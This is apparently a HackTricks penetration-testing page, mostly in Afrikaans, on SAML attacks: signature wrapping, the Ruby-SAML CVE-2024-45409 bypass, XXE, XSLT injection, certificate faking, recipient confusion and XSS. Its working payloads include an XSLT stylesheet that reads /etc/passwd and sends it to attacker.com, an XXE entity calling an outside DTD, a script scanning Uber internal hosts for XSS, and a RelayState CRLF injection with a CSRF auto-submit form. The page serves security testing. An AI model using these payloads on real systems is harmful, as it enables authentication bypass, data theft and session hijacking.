SAML Aanvalle

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

SAML Basics

Gereedskap

SAMLExtractor: ’n hulpmiddel wat ’n URL of ’n lys van URL’s kan neem en die SAML consume URL teruggee.

XML heen-en-weer

In XML word die ondertekende deel van die XML in geheue gestoor, dan word kodering/dekodering uitgevoer en die handtekening nagegaan. Ideaal gesproke behoort daardie kodering/dekodering nie die data te verander nie, maar gebaseer op daardie scenario, kan die geverifieerde data en die oorspronklike data nie dieselfde wees nie.

Byvoorbeeld, kyk na die volgende kode:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Om die program teen REXML 3.2.4 of vroeër te laat loop, sou dit in plaas daarvan die volgende uitset tot gevolg hê:

First child in original doc: Y
First child after round-trip: Z

This is how REXML saw the original XML document from the program above:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

And this is how it saw it after a round of parsing and serialization:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

For more information about the vulnerability and how to abuse it:

XML Signature Wrapping Attacks

In XML Signature Wrapping attacks (XSW) misbruik teenstanders ’n kwesbaarheid wat ontstaan wanneer XML-dokumente deur twee afsonderlike fases verwerk word: signature validation en function invocation. Hierdie aanvalle behels die verander van die XML-dokumentstruktuur. Spesifiek voeg die aanvaller forged elements in wat nie die geldig-heid van die XML Signature ondermyn nie. Hierdie manipulering beoog om ’n diskrepansie te skep tussen die elemente wat deur die application logic ontleed word en dié wat deur die signature verification module geverifieer word. Gevolglik bly die XML Signature tegnies geldig en slaag verifikasie, terwyl die application logic die fraudulent elements verwerk. Die aanvaller omseil dus effektief die XML Signature se integrity protection en origin authentication, en kan sodoende injection of arbitrary content uitvoer sonder opsporing.

Die volgende aanvalle is gebaseer op this blog post and this paper. Kyk daardie bronne vir verdere besonderhede.

XSW #1

  • Strategie: ’n Nuwe root element wat die signature bevat, word bygevoeg.
  • Implicatie: Die validator kan verward raak tussen die geldige “Response -> Assertion -> Subject” en die aanvallende “evil new Response -> Assertion -> Subject”, wat tot dataintegriteitsprobleme kan lei.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

  • Verskil met XSW #1: Gebruik ’n detached signature in plaas van ’n enveloping signature.
  • Implicatie: Die “evil” struktuur, soortgelyk aan XSW #1, poog om die business logic na die integriteitskontrole te mislei.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

  • Strategie: ’n kwaaddadige Assertion word geskep op dieselfde hiërargiese vlak as die oorspronklike Assertion.
  • Implicatie: Beoog om die business logic te verwar sodat dit die kwaadwillige data gebruik.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

  • Verskil met XSW #3: Die oorspronklike Assertion word ’n kind van die gedupliseerde (evil) Assertion.
  • Implicatie: Soortgelyk aan XSW #3 maar verander die XML-struktuur meer agressief.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

  • Unieke aspek: Nie die Signature noch die oorspronklike Assertion volg standaardkonfigurasies nie (enveloped/enveloping/detached).
  • Implicatie: Die gekopieerde Assertion envelop die Signature, wat die verwagte dokumentstruktuur wysig.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

  • Strategie: Soortgelyke invoegingplek as XSW #4 en #5, maar met ’n draai.
  • Implicatie: Die gekopieerde Assertion envelop die Signature, wat dan die oorspronklike Assertion envelop, wat ’n geneste misleidende struktuur skep.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

  • Strategie: ’n Extensions element word ingevoeg met die gekopieerde Assertion as kind.
  • Implicatie: Dit maak gebruik van die minder beperkende skema van die Extensions element om schema-validasie teenmaatreëls te omseil, veral in libraries soos OpenSAML.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

  • Verskil met XSW #7: Gebruik ’n ander minder beperkende XML-element vir ’n variasie van die aanval.
  • Implicatie: Die oorspronklike Assertion word ’n kind van die minder beperkende element, wat die struktuur omkeer wat in XSW #7 gebruik is.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

Tool

Jy kan die Burp-uitbreiding SAML Raider gebruik om die request te ontleed, enige XSW-aanval wat jy kies toe te pas, en dit te loods.

Ruby-SAML signature verification bypass (CVE-2024-45409)

Impact: Indien die Service Provider kwesbare Ruby-SAML gebruik (bv. GitLab SAML SSO), kan ’n aanvaller wat enige IdP-signed SAMLResponse bekom, ’n nuwe assertion forge en as ewekansige gebruikers outhentiseer.

High-level workflow (signature-wrapping style bypass):

  1. Capture a legitimate SAMLResponse in the SSO POST (Burp or browser devtools). You only need any IdP-signed response for the target SP.
  2. Decode the transport encoding to raw XML (typical order): URL decode → Base64 decode → raw inflate.
  3. Use a PoC (for example, the Synacktiv script) to patch IDs/NameID/conditions and rewrite signature references/digests so validation still passes while the SP consumes attacker-controlled assertion fields.
  4. Re-encode the patched XML (raw deflate → Base64 → URL encode) and replay it to the SAML callback endpoint. If successful, the SP logs you in as the chosen user.

Example using the Synacktiv PoC (input is the captured SAMLResponse blob):

python3 CVE-2024-45409.py -r response.url_base64 -n admin@example.com -o response_patched.url_base64

XXE

As jy nie weet watter soort aanvalle XXE is nie, lees asseblief die volgende bladsy:

XXE - XEE - XML External Entity

SAML Responses is deflated and base64 encoded XML documents en kan kwesbaar wees vir XML External Entity (XXE)-aanvalle. Deur die XML-struktuur van die SAML Response te manipuleer, kan aanvallers probeer om XXE vulnerabilities uit te buit. So kan so ’n aanval gevisualiseer word:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Gereedskap

Jy kan ook die Burp-uitbreiding SAML Raider gebruik om die POC uit ’n SAML-versoek te genereer om te toets vir moontlike XXE-kwesbaarhede en SAML-kwesbaarhede.

Kyk ook na hierdie praatjie: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

Vir meer inligting oor XSLT, gaan na:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Extensible Stylesheet Language Transformations (XSLT) kan gebruik word om XML-dokumente na verskeie formate soos HTML, JSON of PDF te transformeer. Dit is belangrik om te let dat XSLT-transformasies uitgevoer word voordat die digitale handtekening geverifieer word. Dit beteken dat ’n aanval suksesvol kan wees selfs sonder ’n geldige handtekening; ’n self-ondertekende of ongeldige handtekening is voldoende om voort te gaan.

Hier kan jy ’n POC vind om vir hierdie soort kwesbaarhede te toets; op die hacktricks-bladsy wat aan die begin van hierdie afdeling genoem is, kan jy payloads vind.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Gereedskap

Jy kan ook die Burp-uitbreiding SAML Raider gebruik om die POC uit ’n SAML-versoek te genereer om moontlike XSLT-kwesbaarhede te toets.

Kyk ook na hierdie praatjie: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

Die XML Signature Exclusion bestudeer die gedrag van SAML-implementasies wanneer die Signature-element nie teenwoordig is nie. Indien hierdie element ontbreek, mag handtekeningvalidasie dalk nie plaasvind nie, wat dit kwesbaar kan maak. Dit kan getoets word deur die inhoud wat gewoonlik deur die handtekening geverifieer word, te verander.

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

Gereedskap

Jy kan ook die Burp-uitbreiding SAML Raider gebruik. Intersepteer die SAML Response en klik Remove Signatures. Deur dit te doen word alle Signature-elemente verwyder.

Met die handtekeninge verwyder, laat die versoek voortgaan na die teiken. Indien die Signature nie deur die Service vereis word nie

Certificate Faking

Certificate Faking

Certificate Faking is ’n tegniek om te toets of ’n Service Provider (SP) behoorlik verifieer dat ’n SAML Message geteken is deur ’n betroubare Identity Provider (IdP). Dit behels die gebruik van ’n *self-signed certificate om die SAML Response of Assertion te teken, wat help om die vertrouensverifikasieproses tussen SP en IdP te evalueer.

Hoe om Certificate Faking uit te voer

Die volgende stappe beskryf die proses met die SAML Raider Burp-uitbreiding:

  1. Intersepteer die SAML Response.
  2. As die response ’n signature bevat, stuur die sertifikaat na SAML Raider Certs deur die Send Certificate to SAML Raider Certs-knoppie te gebruik.
  3. In die SAML Raider Certificates-oortjie, kies die ingevoerde sertifikaat en klik Save and Self-Sign om ’n self-signed kloon van die oorspronklike sertifikaat te skep.
  4. Gaan terug na die onderskepte versoek in Burp se Proxy. Kies die nuwe self-signed sertifikaat uit die XML Signature-afrollys.
  5. Verwyder enige bestaande signatures met die Remove Signatures-knoppie.
  6. Teken die boodskap of assertion met die nuwe sertifikaat deur die (Re-)Sign Message of (Re-)Sign Assertion-knoppie te gebruik, soos gepas.
  7. Stuur die getekende boodskap voort. Suksesvolle verifikasie dui daarop dat die SP boodskappe aanvaar wat deur jou self-signed sertifikaat geteken is, wat moontlike kwesbaarhede in die validasieproses van SAML-boodskappe openbaar.

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion en Service Provider Target Confusion behels die nakyk of die Service Provider korrek die bedoelde ontvanger van ’n response valideer. In wese behoort ’n Service Provider ’n authenticatie-response te verwerp as dit vir ’n ander provider bedoel was. Die kritieke element hier is die Recipient-veld, gevind binne die SubjectConfirmationData-element van ’n SAML Response. Hierdie veld spesifiseer ’n URL wat aandui waarheen die Assertion gestuur moet word. Indien die werklike ontvanger nie ooreenstem met die bedoelde Service Provider nie, moet die Assertion as ongeldig beskou word.

Hoe dit werk

Vir ’n SAML Token Recipient Confusion (SAML-TRC) aanval om uitvoerbaar te wees, moet sekere voorwaardes vervul wees. Eerstens moet daar ’n geldige rekening op ’n Service Provider wees (verwys na as SP-Legit). Tweedens moet die geteikende Service Provider (SP-Target) tokens van dieselfde Identity Provider wat SP-Legit bedien, aanvaar.

Onder hierdie toestande is die aanvalproses reguit. ’n Outentieke sessie word met SP-Legit via die gedeelde Identity Provider geïnisieer. Die SAML Response van die Identity Provider na SP-Legit word onderskep. Hierdie onderskepte SAML Response, oorspronklik bedoel vir SP-Legit, word dan na SP-Target herlei. Sukses in hierdie aanval word bepaal deur SP-Target die Assertion te laat aanvaar en toegang te verleen tot hulpbronne onder dieselfde gebruikersnaam wat vir SP-Legit gebruik is.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS in Logout-funksionaliteit

Die oorspronklike navorsing is beskikbaar via this link.

Tydens die proses van directory brute forcing is ’n logout page ontdek by:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

By toegang tot hierdie skakel het ’n omleiding plaasgevind na:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Dit het geopenbaar dat die base parameter ’n URL aanvaar. Met dit in gedagte het die idee ontstaan om die URL te vervang met javascript:alert(123); in ’n poging om ’n XSS (Cross-Site Scripting) attack te inisieer.

Massale uitbuiting

From this research:

Die SAMLExtractor tool is gebruik om subdomains van uberinternal.com te ontleed vir domains wat dieselfde biblioteek gebruik. Daarna is ’n script ontwikkel om die oidauth/prompt bladsy te teiken. Hierdie script toets vir XSS (Cross-Site Scripting) deur data in te voer en te kontroleer of dit in die uitset weerspieël word. In gevalle waar die inset inderdaad weerspieël word, merk die script die bladsy as kwesbaar.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

RelayState-gebaseerde header/body-inspuiting na rXSS

Sommige SAML SSO-endpunte decodeer RelayState en reflekteer dit daarna in die response sonder sanitasiëering. As jy newlines kan inspuit en die response Content-Type kan oorskryf, kan jy die blaaier dwing om aanvaller-beheerde HTML te render, en sodoende reflected XSS bereik.

  • Idee: misbruik response-splitting deur newline-inspuiting in die gereflekteerde RelayState. Sien ook die generiese notas in CRLF injection.
  • Werk selfs wanneer RelayState server-side base64-gedekodeer word: voorsien ’n base64 wat dekodeer na header/body-inspuiting.

Gegeneraliseerde stappe:

  1. Bouw ’n header/body-inspuitingreeks wat begin met ’n newline, oorskryf content type na HTML, en injekteer dan HTML/JS-payload:

Konsep:

\n
Content-Type: text/html


<svg/onload=alert(1)>
  1. URL-encode die reeks (voorbeeld):
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
  1. Base64-encode daardie URL-gekodeerde string en plaas dit in RelayState.

Voorbeeld base64 (van die reeks hierbo):

DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
  1. Stuur ’n POST met ’n sintakties geldige SAMLResponse en die vervaardigde RelayState na die SSO-endpunt (bv. /cgi/logout).
  2. Verskaf via CSRF: gasheer ’n bladsy wat outomaties ’n cross-origin POST na die teiken-origin stuur met albei velde.

PoC teen ’n NetScaler SSO-endpunt (/cgi/logout):

POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==

CSRF afleweringspatroon:

<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>

Waarom dit werk: die server dekodeer RelayState en inkorporeer dit in die response op ’n wyse wat newline injection toelaat, wat die attacker toelaat om headers en body te beïnvloed. Deur Content-Type: text/html af te dwing laat die browser die attacker-controlled HTML vanuit die response body render.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks